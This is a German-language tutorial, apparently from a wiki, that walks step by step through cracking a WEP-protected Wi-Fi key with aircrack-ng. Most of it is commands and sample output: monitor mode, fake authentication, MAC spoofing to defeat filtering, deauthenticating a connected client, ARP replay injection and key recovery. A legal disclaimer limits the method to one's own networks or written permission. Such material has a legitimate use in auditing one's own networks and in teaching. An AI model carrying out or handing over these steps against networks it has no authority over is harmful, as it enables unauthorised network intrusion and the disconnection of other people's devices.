Inhaltsverzeichnis

Haftungsausschluss

WARNUNG! Die folgenden Informationen könnten für illegale Zwecke missbraucht werden. Legal ist das exemplarisch geschilderte Vorgehen nur bei der Verwendung des eigenen Netzwerks, um beispielsweise Sicherheitslücken auszumerzen. Fremde Netzwerke dürfen nicht angegriffen werden, er sei denn es liegt eine schriftliche Genehmigung des Besitzers vor.

Noch einmal zur Wiederholung: das „Knacken“ von Netzwerken ist eine Straftat und wird zivilstrafrechtlich verfolgt. Anders sieht es aus, wenn das eigene Netzwerk ins Visier genommen wird - auch legal ist das Ganze mit fremden Netzwerken, wenn eine schriftliche Erlaubnis der Besitzers vorliegt.

Vorraussetzungen

Um erfolgreich Zugriff auf das Netzwerk zu erhalten, gilt es einige Punkte zu beachten:

An Informationen werden darüber hinaus benötigt:

Vorgehensweise

Die Vorgehensweise/das Prinzip ist relativ simpel:

  1. Versetzen der Netzwerkkarte in den Monitoring-Modus, um den gesamten Netzwerk-Verkehr mitzuhören
  2. Injektion-Funktionalität überprüfen
  3. Authentifizierungsvorgang mit dem Access Point vortäuschen
  4. Initalisierungsvektor-Pakete (IVs) sammeln
  5. …und letztendlich Cracken des WEP-Keys, wenn genügend Pakete gesammelt wurden

Mithilfe des Monitoring-Modus kann der gesamte Netzwerk-Traffic empfangen werden, anstatt nur die für den Client gedachten Pakete. Dieser Modus ist sehr wichtig und Kernvorraussetzung für das Vorhaben. Unterstützt die Netzwerkkarte - oder genauer gesagt der Treiber der Netzwerkkarte - keinen Monitoring-Modus, so scheitert das Experiment hier. Ebenso wichtig ist es, dass vom Treiber der Netzwerkkarte sogenannte „Injections“ unterstützt werden. Nachdem eine Authentifizierung mit dem Access Point vorgetäuscht wurde, müssen so genannte Initalisierungsvektor-Pakete (IVs) gesammelt werden. Mit vielen dieser IVs kann der WEP-Key berechnet werden. Bei herkömmlichem Netzwerkverkehr werden allerdings nicht sehr viele IVs übertragen - man könnte nun entweder Stunden, Tage, etc. warten oder das Ganze beschleunigen, und genau hier kommen Injections ins Spiel. In diesem Beispiel wird auf eine ARP-Anfrage eines Clients im WLAN-Netz gewartet - wird eine solche vom Rechner, der ja den ganzen Netzwerktraffic mitschneidet, empfangen, schickt er diese Anfrage zurück. Das löst einen nicht aufhörenden Fluss an IVs aus und es können ganz leicht in wenigen Minuten tausende AVs empfangen werden. Somit ist es ohne Probleme möglich in unter 5 Minuten ein WEP-Netzwerk anzugreifen und den Schlüssel zu knacken.

Vorbereitung - Zusammentragen der Informationen

Um nachher lästiges hin- und herschalten zwischen den Kommandozeilen zu vermeiden, empfehle ich die benötigten Informationen gesammelt zu notieren:

1. Monitoring auf der Schnittstelle aktivieren

Zuerst muss für die WLAN-Schnittstelle des Rechners Monitoring aktiviert werden. Zuerst ist es sinnvoll zu überprüfen, ob eventuell automatisch bereits Monitoring aktiviert wurde:

# airmon-ng

Interface      Chipset      Driver

wlan0          Atheros      ath5k - [phy0]

Wichtig ist hier, dann keine Einträge a la „mon0, mon1, mon2,…“ vorkommen. Diese bezeichnen virtuelle Monitoring-Schnittstellen und eine solche soll speziell für den Kanal des WLAN-Netzwerkes aktiviert werden - es sollte also vorab kein Monitoring aktiviert sein. Sind solche Einträge zu finden, müssen diese deaktiviert werden:

# airmon-ng stop mon0
# airmon-ng stop mon1
# airmon-ng stop mon2
...

Danach wird eine virtuelle Monitoringschnittstelle für das WLAN-Netzwerk gestartet, interessant ist hier der Kanal des Netzwerkes - in unserem Beispiel 11:

# airmon-ng start wlan0 11

Interface      Chipset      Driver

wlan0          Atheros      ath5k - [phy0]
mon0           Atheros      ath5k - [phy0] (monitor mode enabled)

Nach der Aktivierung sollten beide Adapter erkannt werden:

# iwconfig
...
wlan0     IEEE 802.11bg ESSID=""
          Mode:Managed  Frequency:2.462 Ghz  Access Point:Not-Associated
          ...
mon0      IEEE 802.11bg Mode:Monitor Frequency:2.462 Ghz  Tx-Power=27 dBm
          ...          

Sollte keinerlei Konnektivität zustande kommen, kann es helfen die Frequenz, den Kanal, den Standard (a, b, g, n) und die Geschwindigkeit der Netzwerkkarte fest auf die Einstellungen des Access-Points einzustellen, beispielsweise: Kanal 11, b-Standard, 11 Mbit.

2. Funktionalität von Injections verifizieren

Um später die Wartezeit zu verkürzen, sollte die Funktionalität von Injektions verifiziert werden. Mit dem folgenden Schritt wird sichergestellt, dass diese Technik möglich ist und sich der Client auch in der nötigen Reichweite des Netzwerkes befindet:

# aireplay-ng -9 -e OHHAI -a 00:C0:f3:40:02:21 mon0

  • Der Schalter -9 aktiviert den Injektion-Test
  • -e definiert die ESSID des Netzwerks (hier OHHAI)
  • -a gibt die BSSID des Access Points an (hier 00:C0:f3:40:02:21)
  • mon0 bezeichnet den Namen der Netzwerkschnittstelle

Wichtig ist hier, dass die Antwort ähnlich der folgenden aussieht:

Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11
Trying broadcast probe requests...
Injection is working!
Found 1 AP

Trying directed probe requests...
00:C0:f3:40:02:21 - channel: 11 - 'OHHAI'
30/30: 100%

Elementar und wichtig sind hier die Zeilen „Injection is working!“ und „30/30: 100%“. Erscheint die erste Zeile nicht oder ist in der letzten Zeile ein „30/30: 0%“ zu lesen, unterstützt der Treiber der Netzwerkkarte keine Injections und das Sammeln von IVs kann sehr viel Zeit in Anspruch nehmen. Ein Blick in die Kompatibilitätslisten (siehe Internetverweise!) kann hier bei der Recherche nach einer funktionierenden WLAN-KArte behilflich sein. Beinhaltet die letzte Zeile lediglich keine 100% sondern 70% oder mehr, besteht (erstmal) kein Grund zur Sorge.

Sollte man über sehr viel Geduld und Zeit verfügen kann man aber natürlich auch ohne Injektions vorgehe und einfach warten… ;-)

3. Mitschneiden der IVs

Vom gesamten empfangenen Netzwerktraffic werden nun nur die interessanten IVs mitgeschnitten. Hierfür wird der folgenden Befehl ausgeführt:

airodump-ng -c 11 --bssid 00:C0:f3:40:02:21 -w iv_trace mon0

  • Der Schalter -c definiert den Kanal des Netzwerkes (hier Kanal 11)
  • Die MAC-Adresse des Access Points wird durch den Schalter –bssid angegeben (hier 00:C0:f3:40:02:21)
  • Die gefilterten IVs werden in einer Datei, welche im Schalter -w angegeben wird, gespeichert
  • mon0 definiert das Monitoring-Interface

Dieses Fenster wird nun offen gelassen, für den nächsten Schritt wird ein neues Fenster bzw. ein neuer Konsolentab geöffnet.

4. Authentifizierungsvorgang vortäuschen

Als nächstes wird ein Authentifizierungsvorgang vorgetäuscht, damit die später mittels Injection zugesandten ARP-Pakete nicht verworfen werden.

Bei diesem Vorgang merkt sich der Access-Point die MAC-Adresse des Rechners. Bei Access Points mit MAC-Filterung kann man hier mithilfe des Programms macchanger die MAC-Adresse der Netzwerkschnittstelle auf eine bekannte und erlaubte setzen, beispielsweise die eines bereits in der Vergangenheit verbundenen Gerätes.

Dieser Schritt muss erfolgreich abgeschlossen werden, da ansonsten alle anderen Schritte nicht funktionieren.

Der Vorgang wird wie folgt in die Wege geleitet:

aireplay-ng -1 0 -e OHHAI -a 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0

  • Der Schalter -1 aktiviert die Vortäuschung einer Authentifizierung
  • Die Option 0 gibt an, in wie großen Zeitabständen in Sekunden die Re-Authentifizierung statt findet (hier 0, also gar nicht). Je nach Access Point ist eine Re-Authentifizierung notwendig, da ansonsten die Verbindung getrennt wird.
  • Die ESSID des Access Points wird mit dem Schalter -e angegeben (hier OHHAI)
  • Die MAC-Adresse des Access Points wird durch den Schalter -a angegeben (hier 00:C0:f3:40:02:21)
  • Die MAC-Adresse der Netzwerkkarte bzw. die vorgetäusche MAC-Adresse der Monitoringschnittstelle muss mithilfe des Schalters -h angegeben werden.
  • mon0 definiert das Monitoring-Interface

Manche Access-Points sind etwas „pingelig“ und erfordern das Senden von regelmäßigen „Keep Alive“-Paketen und eine in periodischen Abständen erfolgenden Re-Authentifizierung. Hierfür empfiehlt sich der folgende Aufruf:

aireplay-ng -1 4800 -q 10 -e OHHAI -a 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0
  • Der Schalter -q 10 aktiviert das Senden von „Keep Alive“-Paketen in Zeitabständen von 10 Sekunden
  • 4800 definiert, dass alle 4800 Sekunden (80 Minuten) eine Re-Authentifizierung erfolgen muss.

Ein erfolgreicher Vorgang sieht etwa wie folgt aus:

Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11
Sending Authentication Request
Authentication seuccessfull
Sending Association Request
Association successful :-)

Access Points mit MAC-Filterung können durch folgende Fehlermeldung erkannt werden:

Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11
Sending Authentication Request (Open System) [ACK]
AP rejects the source MAC address (00:C1:e1:f3:32:03) ?
Authentication failed (code 1)

Abhilfe schafft das Faken der MAC-Adresse, etwa zu einer bekannten MAC-Adresse. Beispielsweise könnte man einige Zeit lang das Netz beobachten und sehen, wenn sich ein Gerät einwählt. Diese MAC-Adresse könnte man dann mittels macchanger setzen:

# macchanger wlan0 -m 4a:d5:3b:b1:h2:de

Voraussetzung hierfür ist, dass das Gerät nicht in Benutzung ist. Also müssen hier alle Programme der aircrack-Suite beendet, Monitoring ausgeschaltet und die Schnittstelle heruntergefahren werden.

Danach sollte dieser Schritt fehlerfrei ausgeführt werden können.

Shared Key Authentification

Verwendet der Access Point anstatt „Open System Authentification“ allerdings „Shared Key Authentification“, wird eine Verbindung nicht zustande kommen:

Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11
Sending Authentification Request (Open System) [ACK]
Switching to shared key authentification
Read 50 Pakets...
Sending Authentification Request (Shared Key)
Sending Authentification Request (Shared Key) [ACK]
Authentification 1/2 successful
You should specify a xor file (-y) with at least 140 keystreambytes
Trying fragmented shared key fake auth.
Sending encrypted challenge. [ACK]
...
Attack was unsuccessful. Possible reasons:

...

Grund hierfür ist, dass das angeblich sichere „Shared Key“-Prinzip ein wenig anders arbeitet als die „Open System Authentification“.

Abhilfe schafft es, einen Authentifizierungsvorgang eines Clients mitgehört zu haben. Anstatt zu warten, bis ein solcher Vorgang auftritt, kann auch ein bereits verbundener Client durch das Senden eines speziellen Signals mit etwas Glück vom WLAN-Netzwerk getrennt werden:

aireplay -0 0 -a 00:C0:f3:40:02:21 -c 00:c0:f2:f2:31:01 mon0

  • Der Schalter -0 aktiviert das Senden eines sogenannten „DeAuth“ Signals
  • Die Option 0 gibt an, wieviele Signalwiderholungen gesendet werden sollen. Statt wie hier einem Signal (0) können auch mehrere Signale gesendet werden
  • Die MAC-Adresse des Access Points wird durch den Schalter -a angegeben (hier 00:C0:f3:40:02:21)
  • Die MAC-Adresse des Zielclients wird mit dem Schalter -c angegeben. Ein verbundener Client kann beispielsweise mit airmon-ng herausgefunden werden.
  • mon0 definiert das Monitoring-Interface

Dieser Client muss sich dann wieder verbinden und der Vorgang kann „mitgehört“ werden. Der Access Point schickt dem Client beispielsweise eine Zufallszahl, welche vom Client verschlüsselt zurückgeschickt wird. Durch diesen Vorgang geraten wir an die unverschlüsselte und verschlüsselte Zahl sowie an einen Initalisierungsvektor, mithilfe welcher nun selbst eine Authentifizierung erprobt werden kann. Das gelingt mittels „aireplay-ng“:

aireplay-ng -1 0 -e OHHAI -y iv_trace*.xor -a 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0

  • Der Schalter -1 aktiviert die Vortäuschung einer Authentifizierung
  • Die Option 0 gibt an, in wie großen Zeitabständen in Sekunden die Re-Authentifizierung statt findet (hier 0, also gar nicht). Je nach Access Point ist eine Re-Authentifizierung notwendig, da ansonsten die Verbindung getrennt wird.
  • Die ESSID des Access Points wird mit dem Schalter -e angegeben (hier OHHAI)
  • Das Keystream-File wird mithilfe des Schalters -y angegeben (hier iv_trace*.xor)
  • Die MAC-Adresse des Access Points wird durch den Schalter -a angegeben (hier 00:C0:f3:40:02:21)
  • Die MAC-Adresse der Netzwerkkarte bzw. die vorgetäusche MAC-Adresse der Monitoringschnittstelle muss mithilfe des Schalters -h angegeben werden.
  • mon0 definiert das Monitoring-Interface

Danach sollte eine Authentifizierung möglich sein:

Waiting for beacon frame (BSSID: 00:C0:f3:40:02:21) on channel 11

Sending Authentification Request (Shared Key) [ACK]
Authentification 1/2 successful
Sending encrypted challenge. [ACK]
Authentification 2/2 successful
Sending Association Request [ACK]
Association successful :-) (AID: 1)

5. ARP-Requests zurücksenden

Eintreffende ARP-Requests können nun wieder in das Netzwerk gesendet werden, um möglichst viele IVs generien zu lassen und empfangen zu können. Hierfür wird aireplay-ng benutzt:

aireplay-ng -3 -b 00:C0:f3:40:02:21 -h 00:C1:e1:f3:32:03 mon0

  • Der Schalter -3 aktiviert das „Injecten“ von ARP-Anfragen
  • Die MAC-Adresse des Access Points wird durch den Schalter -b angegeben (hier 00:C0:f3:40:02:21)
  • Die MAC-Adresse der Netzwerkkarte bzw. die vorgetäusche MAC-Adresse der Monitoringschnittstelle muss mithilfe des Schalters -h angegeben werden.
  • mon0 definiert das Monitoring-Interface

Wenn nun eine ARP-Anfrage eintrifft, wird sie zurückgeschickt. Der Paketzähler beginnt von nun an rasant zu steigen:

...
Read 647623 packets (got 368422 ARP requests), sent 256439 packets...

Nun gilt es, soviele Pakete wie möglich zu sichern. Üblicherweise werden je nach Länge des Passworts zwischen 100.000 und 300.000 Pakete benötigt.

Das Fenster bleibt ebenfalls geöffnet, für den letzten Schritt wird ein weiteres Fenster geöffnet.

6. WEP-Key cracken

Bis genügend Pakete vorhanden sind, kann gelegentlich der folgende Befehl abgesetzt werden:

aircrack-ng -b 00:C0:f3:40:02:21 iv_trace.cap

  • Die MAC-Adresse des Access Points wird durch den Schalter -b angegeben (hier 00:C0:f3:40:02:21)
  • Die Datei mit den gespeicherten IVs wird als letzte Option angegeben (hier iv_trace.cap)

Ein geknackter Key wird etwa wie folgt angezeigt:

                         Aircrack-ng 0.9
                         
               [00:01:21] Tested 295234 keys (got 45232 IVs)
               
KB     depth     byte(vote)
...    .....     .....

               KEY FOUND! [ 6A:6E:64:66:38:36:27:3B:6A:73:33:30:63 ] (ASCII: jndf86';js30n )
               
                  Decrypted correctly: 100%
                  

Bricht aircrack-ng mit einem „FAIL“ ab oder ist die potenzielle Übereinstimmung nicht auf 100%, sind womöglich noch nicht genügend Pakete vorhanden. In einem solchen Fall einfach noch einige Zeit warten.

Screencast

Quellen und Internetverweise